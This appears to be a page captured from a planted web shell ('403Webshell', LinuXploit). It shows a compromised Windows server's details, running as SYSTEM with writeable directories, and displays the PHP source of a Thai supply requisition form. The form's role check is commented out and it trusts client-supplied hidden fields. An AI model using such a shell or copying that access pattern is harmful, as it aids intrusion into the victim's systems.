403Webshell
Server IP : 104.21.80.248  /  Your IP : 172.71.28.155
Web Server : Apache/2.4.25 (Win32) OpenSSL/1.0.2j PHP/5.6.30
System : Windows NT WIN-ECQAAA40806 6.2 build 9200 (Windows Server 2012 Standard Edition) i586
User : SYSTEM ( 0)
PHP Version : 5.6.30
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  E:/Inetpub/www/supply_system/requisitions/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : E:/Inetpub/www/supply_system/requisitions/create.php
<?php
include_once __DIR__ . '/../config.php';
include_once __DIR__ . '/../functions.php';
include_once __DIR__ . '/../includes/auth_check.php';
// requireRole(['department']); // จำกัดสิทธิ์เฉพาะธุรการกลุ่ม

$page_title = "สร้างคำขอเบิกพัสดุ";
$user_dept_id = getUserData('department_id');
$user_id = getUserData('user_id');

// --- ดึงข้อมูลพัสดุสำหรับ Select2 ---
$supplies_list = [];
// ดึงเฉพาะพัสดุที่มีสต็อก > 0 และ status = active (รวม image_filename)
$sql_supplies = "SELECT id, supply_code, supply_name, unit, quantity_in_stock, image_filename
                 FROM supplies
                 WHERE status = 'active' AND quantity_in_stock > 0
                 ORDER BY supply_code ASC";
$result_supplies = mysqli_query($conn, $sql_supplies);
if ($result_supplies) {
    while ($row = mysqli_fetch_assoc($result_supplies)) {
        // เพิ่มข้อมูล quantity_in_stock เข้าไปใน text ที่แสดงผล
        $row['display_text'] = htmlspecialchars($row['supply_code'] . ' - ' . $row['supply_name'] . ' (' . $row['unit'] . ') - คงเหลือ: ' . number_format($row['quantity_in_stock']));
        $supplies_list[$row['id']] = $row; // Use ID as key for easy lookup
    }
    mysqli_free_result($result_supplies);
}

// --- จัดการ Session Cart ---
if (!isset($_SESSION['requisition_cart'])) {
    $_SESSION['requisition_cart'] = [];
}
$cart = &$_SESSION['requisition_cart']; // ใช้ reference (&) เพื่อให้แก้ไข Session ได้โดยตรง

// --- การเพิ่มรายการเข้า Cart (ถ้ามีการส่งข้อมูล POST มา) ---
$add_error = '';
if ($_SERVER["REQUEST_METHOD"] == "POST" && isset($_POST['action']) && $_POST['action'] == 'add_item') {
    $item_id = isset($_POST['supply_id']) ? intval($_POST['supply_id']) : 0;
    $item_qty = isset($_POST['quantity']) ? intval($_POST['quantity']) : 0;

    if ($item_id > 0 && $item_qty > 0 && isset($supplies_list[$item_id])) {
        $stock_available = $supplies_list[$item_id]['quantity_in_stock'];
        $current_qty_in_cart = isset($cart[$item_id]) ? $cart[$item_id]['requested_quantity'] : 0;
        $total_requested = $current_qty_in_cart + $item_qty;

        if ($total_requested <= $stock_available) {
             if (isset($cart[$item_id])) {
                 // Update quantity if item already in cart
                 $cart[$item_id]['requested_quantity'] += $item_qty;
             } else {
                 // Add new item to cart
                 $cart[$item_id] = [
                     'supply_id' => $item_id,
                     'supply_code' => $supplies_list[$item_id]['supply_code'],
                     'supply_name' => $supplies_list[$item_id]['supply_name'],
                     'unit' => $supplies_list[$item_id]['unit'],
                     'image_filename' => $supplies_list[$item_id]['image_filename'], // Store image filename
                     'requested_quantity' => $item_qty,
                     'stock_available' => $stock_available // Store stock info for display
                 ];
             }
        } else {
             $add_error = "ไม่สามารถเพิ่มได้ จำนวนที่ขอรวม (".number_format($total_requested).") เกินกว่าจำนวนคงคลัง (".number_format($stock_available).")";
        }
    } else {
        $add_error = "กรุณาเลือกพัสดุและระบุจำนวนที่ต้องการ";
    }
    // ไม่ต้อง redirect หน้านี้ เพราะต้องการให้เห็น Cart ทันที
}

// --- การลบรายการออกจาก Cart (ถ้ามีการส่ง GET parameter มา) ---
if (isset($_GET['action']) && $_GET['action'] == 'remove_item' && isset($_GET['id'])) {
    $remove_id = intval($_GET['id']);
    if (isset($cart[$remove_id])) {
        unset($cart[$remove_id]);
    }
    // Redirect เพื่อลบ parameter ออกจาก URL และ refresh หน้า cart
    redirect('create.php');
}

// --- การล้างตะกร้า ---
if (isset($_GET['action']) && $_GET['action'] == 'clear_cart') {
    unset($_SESSION['requisition_cart']);
    redirect('create.php');
}


mysqli_close($conn);

// --- Include Header ---
include_once __DIR__ . '/../includes/header.php';
?>
<link href="https://cdn.jsdelivr.net/npm/[email protected]/dist/css/select2.min.css" rel="stylesheet" />
<link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/[email protected]/dist/select2-bootstrap-5-theme.min.css" />
<style>
    /* Adjust Select2 height */
    .select2-container--bootstrap-5 .select2-selection--single { height: calc(1.5em + .75rem + 2px) !important; padding: .375rem .75rem !important; }
    .select2-container--bootstrap-5 .select2-selection--single .select2-selection__rendered { line-height: 1.5 !important; }
    .select2-container--bootstrap-5 .select2-selection--single .select2-selection__arrow { height: calc(1.5em + .75rem) !important; }
    .cart-item-actions .btn { padding: 0.1rem 0.4rem; font-size: 0.8em; }
    /* Cart Image Thumbnail */
    .cart-img-thumbnail {
        max-width: 40px;
        max-height: 40px;
        object-fit: cover;
        cursor: pointer;
    }
    .image-placeholder-cart {
        font-size: 1.5rem; /* Adjust icon size */
        color: #adb5bd; /* Lighter grey */
        cursor: default;
    }
    /* Modal Image Styling */
     .modal-body img {
        max-width: 100%;
        max-height: 70vh; /* Limit modal image height */
        display: block;
        margin: 0 auto; /* Center image */
    }
</style>

<?php
// --- Include Sidebar ---
include_once __DIR__ . '/../includes/sidebar_dept.php';
?>

<div class="container-fluid">
    <h1 class="mt-4"><?php echo $page_title; ?></h1>

    <?php if ($add_error): ?>
        <div class="alert alert-danger alert-dismissible fade show" role="alert">
            <?php echo $add_error; ?>
            <button type="button" class="btn-close" data-bs-dismiss="alert" aria-label="Close"></button>
        </div>
    <?php endif; ?>
     <?php if (isset($_SESSION['message'])): ?>
        <div class="alert alert-<?php echo $_SESSION['message_type']; ?> alert-dismissible fade show" role="alert">
            <?php echo $_SESSION['message']; ?>
            <button type="button" class="btn-close" data-bs-dismiss="alert" aria-label="Close"></button>
        </div>
        <?php unset($_SESSION['message'], $_SESSION['message_type']); ?>
    <?php endif; ?>

    <div class="card mb-4">
        <div class="card-header"><i class="bi bi-search me-1"></i>ค้นหาและเพิ่มพัสดุ</div>
        <div class="card-body">
            <form method="POST" action="create.php">
                <input type="hidden" name="action" value="add_item">
                <div class="row g-2 align-items-end">
                    <div class="col-md-7">
                        <label for="supply_id_select" class="form-label">เลือกพัสดุ</label>
                        <select class="form-select" id="supply_id_select" name="supply_id" required>
                            <option value="">-- ค้นหาหรือเลือกพัสดุ (รหัส - ชื่อ - หน่วย - คงเหลือ) --</option>
                            <?php foreach ($supplies_list as $item): ?>
                                <option value="<?php echo $item['id']; ?>">
                                    <?php echo $item['display_text']; ?>
                                </option>
                            <?php endforeach; ?>
                        </select>
                    </div>
                    <div class="col-md-3">
                        <label for="quantity" class="form-label">จำนวนที่ต้องการ</label>
                        <input type="number" class="form-control" id="quantity" name="quantity" min="1" step="1" required>
                    </div>
                    <div class="col-md-2">
                        <button type="submit" class="btn btn-primary w-100"><i class="bi bi-plus-lg"></i> เพิ่ม</button>
                    </div>
                </div>
            </form>
        </div>
    </div>

    <div class="card mb-4">
        <div class="card-header"><i class="bi bi-cart3 me-1"></i>รายการพัสดุที่เลือก (ตะกร้า)</div>
        <div class="card-body">
            <?php if (empty($cart)): ?>
                <p class="text-center text-muted">ยังไม่มีรายการพัสดุในตะกร้า</p>
            <?php else: ?>
                <form action="action_save.php" method="POST" id="requisitionForm">
                    <div class="table-responsive mb-3">
                        <table class="table table-sm table-bordered">
                            <thead class="table-light">
                                <tr>
                                    <th>#</th>
                                    <th>รูปภาพ</th> <th>รหัส</th>
                                    <th>ชื่อพัสดุ</th>
                                    <th>หน่วยนับ</th>
                                    <th class="text-end">จำนวนที่ขอ</th>
                                    <th class="text-center">ดำเนินการ</th>
                                </tr>
                            </thead>
                            <tbody>
                                <?php $cart_counter = 1; ?>
                                <?php foreach ($cart as $item_id => $item):
                                    $cart_image_url = BASE_URL . '/uploads/supplies/' . $item['image_filename'];
                                    $cart_image_path = __DIR__ . '/../uploads/supplies/' . $item['image_filename'];
                                    $cart_image_exists = !empty($item['image_filename']) && file_exists($cart_image_path);
                                ?>
                                    <tr>
                                        <td><?php echo $cart_counter++; ?></td>
                                        <td class="text-center align-middle"> <?php if ($cart_image_exists): ?>
                                                <img src="<?php echo $cart_image_url; ?>"
                                                     alt="<?php echo htmlspecialchars($item['supply_name']); ?>"
                                                     class="img-thumbnail cart-img-thumbnail"
                                                     data-bs-toggle="modal"
                                                     data-bs-target="#imageModalCart"
                                                     data-image-url="<?php echo $cart_image_url; ?>"
                                                     data-image-title="<?php echo htmlspecialchars($item['supply_name'] . ' (' . $item['supply_code'] . ')'); ?>">
                                            <?php else: ?>
                                                <i class="bi bi-image image-placeholder-cart"></i>
                                            <?php endif; ?>
                                        </td>
                                        <td><?php echo htmlspecialchars($item['supply_code']); ?></td>
                                        <td><?php echo htmlspecialchars($item['supply_name']); ?></td>
                                        <td><?php echo htmlspecialchars($item['unit']); ?></td>
                                        <td class="text-end"><?php echo number_format($item['requested_quantity']); ?></td>
                                        <td class="text-center cart-item-actions align-middle">
                                            <a href="create.php?action=remove_item&id=<?php echo $item_id; ?>" class="btn btn-danger btn-sm" title="ลบรายการนี้">
                                                <i class="bi bi-trash"></i>
                                            </a>
                                        </td>
                                    </tr>
                                <?php endforeach; ?>
                            </tbody>
                        </table>
                    </div>

                    <div class="mb-3">
                        <label for="remarks" class="form-label">หมายเหตุ (ถ้ามี)</label>
                        <textarea class="form-control" id="remarks" name="remarks" rows="2"></textarea>
                    </div>

                    <input type="hidden" name="department_id" value="<?php echo $user_dept_id; ?>">
                    <input type="hidden" name="requested_by" value="<?php echo $user_id; ?>">

                    <button type="submit" class="btn btn-success"><i class="bi bi-send-check-fill"></i> ส่งคำขอเบิก</button>
                    <a href="create.php?action=clear_cart" class="btn btn-warning" onclick="return confirm('ต้องการล้างรายการทั้งหมดในตะกร้าใช่หรือไม่?');">
                        <i class="bi bi-cart-x"></i> ล้างตะกร้า
                    </a>
                </form>
            <?php endif; ?>
        </div>
    </div>
</div>

<div class="modal fade" id="imageModalCart" tabindex="-1" aria-labelledby="imageModalCartLabel" aria-hidden="true">
  <div class="modal-dialog modal-lg modal-dialog-centered">
    <div class="modal-content">
      <div class="modal-header">
        <h5 class="modal-title" id="imageModalCartLabel">รูปภาพพัสดุ</h5>
        <button type="button" class="btn-close" data-bs-dismiss="modal" aria-label="Close"></button>
      </div>
      <div class="modal-body text-center">
        <img src="" id="modalCartImage" alt="Supply Image">
      </div>
    </div>
  </div>
</div>
<?php
// --- Include Footer ---
include_once __DIR__ . '/../includes/footer.php';
?>
<script src="https://cdn.jsdelivr.net/npm/[email protected]/dist/js/select2.min.js"></script>
<script>
    $(document).ready(function() {
        // --- Initialize Select2 ---
        $('#supply_id_select').select2({
            theme: "bootstrap-5",
            width: $( this ).data( 'width' ) ? $( this ).data( 'width' ) : $( this ).hasClass( 'w-100' ) ? '100%' : 'style',
            placeholder: "-- ค้นหาหรือเลือกพัสดุ --",
        });

        // --- Image Modal Handler (Cart) ---
        var imageModalCart = document.getElementById('imageModalCart');
        if (imageModalCart) {
            imageModalCart.addEventListener('show.bs.modal', function (event) {
                var button = event.relatedTarget; // Image that triggered the modal
                var imageUrl = button.getAttribute('data-image-url');
                var imageTitle = button.getAttribute('data-image-title');
                var modalTitle = imageModalCart.querySelector('.modal-title');
                var modalImage = imageModalCart.querySelector('#modalCartImage');

                modalTitle.textContent = imageTitle;
                modalImage.src = imageUrl;
                modalImage.alt = imageTitle;
            });
        }
    });
</script>

Youez - 2016 - github.com/yon3zu
LinuXploit